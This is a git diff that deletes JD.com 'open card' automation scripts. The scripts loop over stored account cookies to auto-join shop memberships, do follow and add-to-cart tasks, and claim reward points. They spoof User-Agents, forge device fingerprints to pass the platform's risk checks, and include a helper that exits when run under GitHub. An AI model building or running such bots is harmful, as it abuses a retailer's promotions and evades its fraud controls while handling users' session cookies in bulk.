t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard24.js b/backUp/gua_opencard24.js deleted file mode 100644 index 5a8dbdc..0000000 --- a/backUp/gua_opencard24.js +++ /dev/null @@ -1,551 +0,0 @@ -/* -会员“食”力派 [gua_opencard24.js] -———————————————— -跑此脚本需要添加依赖文件[sign_graphics_validate.js] - -一次性脚本 - -没有邀请助力 -没有邀请助力 -没有邀请助力 - -开36卡 每个卡10京豆 (如果在别的地方开过卡 则在这不能开卡 故没有京豆 -3个日常任务 有关注、加购 (每次1京豆 关注和加购可以多次 -(默认不加购 如需加购请设置环境变量[guaopencard_addSku24]为"true" - -默认脚本不执行 -如需执行脚本请设置环境变量 -做任务 -guaopencardRun24="true" -开卡 -guaopencard24="true" - -活动有点小毛病 -经常获取不到任务信息 - -———————————————— -因需要加载依赖文件 -所有不支持手机软件(Quantumultx、Loon、Surge、小火箭等 -———————————————— -入口:[ 会员“食”力派 (https://prodev.m.jd.com/mall/active/3Y9i9BXZZwdsJFkxvrYvkmSih6MZ/index.html)] - -获得到的京豆不一定到账 - -30 10,19 * 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard24.js, tag=会员“食”力派, enabled=true - -*/ -const $ = new Env('会员“食”力派'); -const Faker=require('./sign_graphics_validate.js') -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -let guaopencard_addSku = "false" -guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku24 ? process.env.guaopencard_addSku24 : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku24') ? $.getdata('guaopencard_addSku24') : `${guaopencard_addSku}`); -guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku_All ? process.env.guaopencard_addSku_All : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku_All') ? $.getdata('guaopencard_addSku_All') : `${guaopencard_addSku}`); -let guaopencard = "false" -guaopencard = $.isNode() ? (process.env.guaopencard24 ? process.env.guaopencard24 : `${guaopencard}`) : ($.getdata('guaopencard24') ? $.getdata('guaopencard24') : `${guaopencard}`); -guaopencard = $.isNode() ? (process.env.guaopencard_All ? process.env.guaopencard_All : `${guaopencard}`) : ($.getdata('guaopencard_All') ? $.getdata('guaopencard_All') : `${guaopencard}`); -let guaopencardRun = "false" -guaopencardRun = $.isNode() ? (process.env.guaopencardRun24 ? process.env.guaopencardRun24 : `${guaopencardRun}`) : ($.getdata('guaopencardRun24') ? $.getdata('guaopencardRun24') : `${guaopencardRun}`); -guaopencardRun = $.isNode() ? (process.env.guaopencardRun_All ? process.env.guaopencardRun_All : `${guaopencardRun}`) : ($.getdata('guaopencardRun_All') ? $.getdata('guaopencardRun_All') : `${guaopencardRun}`); -allMessage = "" -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if(guaopencard+"" != "true"){ - console.log('如需开卡请设置环境变量[guaopencard24]为"true"') - } - if(guaopencardRun+"" != "true"){ - console.log('如需做任务请设置环境变量[guaopencardRun24]为"true"') - } - if(guaopencard+"" != "true" && guaopencardRun+"" != "true"){ - return - } - $.activeID = '3Y9i9BXZZwdsJFkxvrYvkmSih6MZ' - console.log(`入口:\nhttps://prodev.m.jd.com/mall/active/${$.activeID}/index.html`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - message = "" - $.bean = 0 - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if($.bean > 0 || message) allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${$.bean > 0 && "获得"+$.bean+"京豆\n" || ""}${message}\n` - } - } - if(allMessage){ - $.msg($.name, ``, `${allMessage}\n获得到的京豆不一定到账`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${allMessage}\n获得到的京豆不一定到账`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try { - // await getHtml(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - if(!$.fp || !$.eid){ - message += `获取活动信息失败!\n` - return - } - let config = [ - {configCode:'85201aaf1895431e874132d9c2669afe',configName:'9月食品联合开卡分会场三'}, - {configCode:'30ed2348398c4f4796e585b9b5240a28',configName:'9月食品联合开卡分会场二'}, - {configCode:'e23a262b02fc4e279f5a0fc3a5764ac6',configName:'9月食品联合开卡分会场一'}, - ] - for(let i in config){ - $.hotFlag = false - let item = config[i] - $.task = '' - $.taskList = [] - $.taskInfo = '' - let q = 5 - for(m=1;q--;m++){ - if($.task == '') await getActivity(item.configCode,item.configName,3) - if($.task || $.hotFlag) break - } - if($.task == '') message += `[${item.configName}] 任务获取失败,再次执行\n` - if($.task.memberTask && $.task.memberTask.memberList){ - let msg = '' - if(guaopencard+"" != "true"){ - msg = '如需开卡请设置环境变量[guaopencard24]为"true"' - } - console.log(`\n[${$.task.moduleBaseInfo.configName}] ${$.task.memberTask.showOrder == 2 && '日常任务' || $.task.memberTask.showOrder == 1 && '开卡任务' || '未知任务'} ${($.task.moduleBaseInfo.rewardStatus == 2) && '全部完成' || ''}${msg}`) - $.oneTask = '' - for (let o in $.task.memberTask.memberList) { - if(guaopencard !== "true") break - $.oneTask = $.task.memberTask.memberList[o]; - console.log(`[${$.oneTask.cardName}] ${0 == $.oneTask.result ? "开卡得" + $.oneTask.rewardQuantity + "京豆" : 1 == $.oneTask.result ? "领取" + $.oneTask.rewardQuantity + "京豆" : 3 == $.oneTask.result ? "其他渠道入会" : "已入会"}`) - if($.oneTask.result == 0) await statistic(`{"activityType":"module_task","groupType":7,"configCode":"${item.configCode}","itemId":${$.oneTask.cardId}}`) - if($.oneTask.result == 0) await join($.oneTask.venderId) - if($.oneTask.result == 0) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - if($.oneTask.result == 1 || $.oneTask.result == 0) await getReward(`{"configCode":"${item.configCode}","groupType":7,"itemId":${$.oneTask.cardId},"eid":"${$.eid}","fp":"${$.fp}"}`) - if($.oneTask.result == 1 || $.oneTask.result == 0) await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) - } - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - } - if($.task.dailyTask && $.task.dailyTask.taskList){ - for (let t in $.task.dailyTask.taskList) { - $.oneTask = $.task.dailyTask.taskList[t]; - $.cacheNum = 0 - $.doTask = false - $.outActivity = false - let name = `${1 == $.oneTask.groupType ? "关注并浏览店铺" : 2 == $.oneTask.groupType ? "加购并浏览商品" : 3 == $.oneTask.groupType ? "关注并浏览频道" : 6 == $.oneTask.groupType ? "浏览会场" : "未知"}` - let msg = `(${$.oneTask.finishCount}/${$.oneTask.taskCount})` - let status = `${$.oneTask.finishCount >= $.oneTask.taskCount && '已完成' || "去" + (1 == $.oneTask.groupType ? "关注" : 2 == $.oneTask.groupType ? "加购" : 3 == $.oneTask.groupType ? "关注" : 6 == $.oneTask.groupType ? "浏览" : "做任务")}` - console.log(`${name}${msg} ${status}`) - if(guaopencard_addSku+"" != "true" && 2 == $.oneTask.groupType) console.log('如需加购请设置环境变量[guaopencard_addSku24]为"true"\n'); - if(guaopencard_addSku+"" != "true" && 2 == $.oneTask.groupType) continue; - if($.oneTask.finishCount < $.oneTask.taskCount){ - await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTask.groupType},"itemId":"${$.oneTask.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) - let c = $.oneTask.taskCount - $.oneTask.finishCount - 1 - for(n=2;c-- && !$.outActivity;n++){ - if($.outActivity) break - console.log(`第${n}次`) - await getActivity(item.configCode,item.configName,$.oneTask.groupType) - $.oneTasks = '' - let q = 3 - for(m=1;q--;m++){ - if($.oneTasks == '') await getActivity(item.configCode,item.configName,$.oneTask.groupType) - if($.oneTasks) break - } - if($.oneTasks){ - c = $.oneTasks.taskCount - $.oneTasks.finishCount - if($.oneTasks.item.itemId == $.oneTask.item.itemId){ - n--; - console.log(`数据缓存中`) - $.cacheNum++; - if($.cacheNum > 3) { - console.log('请重新执行脚本,数据缓存问题'); - message += "请重新执行脚本,数据缓存问题\n" - break - }; - await $.wait(parseInt(Math.random() * 2000 + 3000, 10)) - await getHtml(); - }else{ - $.cacheNum = 0 - } - if($.oneTasks.item.itemId != $.oneTask.item.itemId && $.oneTasks.finishCount < $.oneTasks.taskCount) await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTasks.groupType},"itemId":"${$.oneTasks.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) - }else{ - n--; - } - await $.wait(parseInt(Math.random() * 2000 + 3000, 10)) - } - } - } - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - } - } - } catch (e) { - console.log(e) - } -} -function getActivity(code,name,flag) { - return new Promise(async resolve => { - $.get({ - url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - 'Content-Type':'application/json;charset=utf-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - console.log(`${$.toStr(err,err)}`) - } else { - // console.log(data) - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.success == true && res.data.pass == true){ - if(flag == 0){ - $.task = res.data.memberTask || res.data.dailyTask || [] - $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || [] - }else if(flag == -1){ - $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || {} - }else if(flag == 1 || flag == 2){ - for(let i of res.data.dailyTask.taskList){ - if(i.groupType == flag){ - $.oneTasks = i - break - } - } - }else if(flag == 3){ - $.task = res.data - }else{ - console.log('活动-未知类型') - } - }else if(res.data.pass == false){ - console.log(`活动[${name}]活动太火爆了,请稍后再试~`) - message += `活动[${name}]活动太火爆了,请稍后再试~\n` - $.hotFlag = true - }else{ - console.log(`活动[${name}]获取失败\n${data}`) - if(flag > 0) await getHtml(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function doTask(body) { - return new Promise(async resolve => { - $.post({ - url: `https://jdjoy.jd.com/module/task/v2/doTask`, - body, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=UTF-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - $.doTask = true - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - console.log(`${$.toStr(err,err)}`) - } else { - await $.wait(parseInt(Math.random() * 1000 + 500, 10)) - // console.log(data) - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.success == true){ - console.log(`领奖成功:${$.oneTask.rewardQuantity}京豆`) - $.bean += $.oneTask.rewardQuantity - }else if(res.errorMessage){ - if(res.errorMessage.indexOf('活动已结束') > -1) $.outActivity = true - console.log(`${res.errorMessage}`) - }else{ - console.log(data) - } - } - - } - } catch (e) { - console.log(e) - } finally { - resolve(data); - } - }) - }) -} -function getReward(body, flag = 0) { - return new Promise(async resolve => { - $.post({ - url: `https://jdjoy.jd.com/module/task/v2/getReward`, - body, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=UTF-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - console.log(`${$.toStr(err,err)}`) - } else { - // console.log(data) - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.success == true){ - console.log(`领奖成功:${flag == 1 && $.taskInfo.rewardFinish || $.oneTask.rewardQuantity}京豆`) - $.bean += $.oneTask.rewardQuantity || 0 - }else{ - console.log(`${res.errorMessage}`) - } - } - - } - } catch (e) { - console.log(e) - } finally { - resolve(data); - } - }) - }) -} - -function statistic(body) { - return new Promise(async resolve => { - $.post({ - url: `https://jdjoy.jd.com/module/task/data/statistic`, - body, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=UTF-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - console.log(`${$.toStr(err,err)}`) - } else { - // console.log(data) - - } - } catch (e) { - console.log(e) - } finally { - resolve(data); - } - }) - }) -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - if(data.result && data.result.giftInfo){ - for(let i of data.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(data.success == false){ - $.log(data.message) - } - } catch (e) { - console.log(e) - } finally { - resolve(data); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401`, - 'Cookie': cookie - } - } -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if(data.success == true){ - console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - console.log(e) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401`, - 'Cookie': cookie - } - } -} -function getHtml() { - return new Promise(resolve => { - $.get({ - url: `https://prodev.m.jd.com/mall/active/${$.activeID}/index.html`, - headers: { - "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - console.log(`${$.toStr(err,err)}`) - } else { - } - } catch (e) { - console.log(e) - } finally { - resolve(data); - } - }) - }) -} - -function getEid(arr) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${arr.a}`, - body: `d=${arr.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.UA - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n登录: API查询请求失败 ‼️‼️`) - console.log(`${$.toStr(err,err)}`) - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - $.eid = data.eid - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - console.log(e) - } finally { - resolve(data); - } - }) - }) -} - - - -async function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` - let arr = await Faker.getBody($.UA,`https://prodev.m.jd.com/mall/active/${$.activeID}/index.html`) - $.fp = arr.fp - await getEid(arr) -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_opencard25.js b/backUp/gua_opencard25.js deleted file mode 100644 index b9f507a..0000000 --- a/backUp/gua_opencard25.js +++ /dev/null @@ -1,50 +0,0 @@ -/* -9.8-9.30 成家有福 长长久久 [gua_opencard25.js] -新增开卡脚本 -一次性脚本 - -邀请一人20豆 被邀请也有20豆(有可能没有豆 -开2组卡 抽奖可能获得30京豆(有可能有抽到空气💨 -关注10京豆 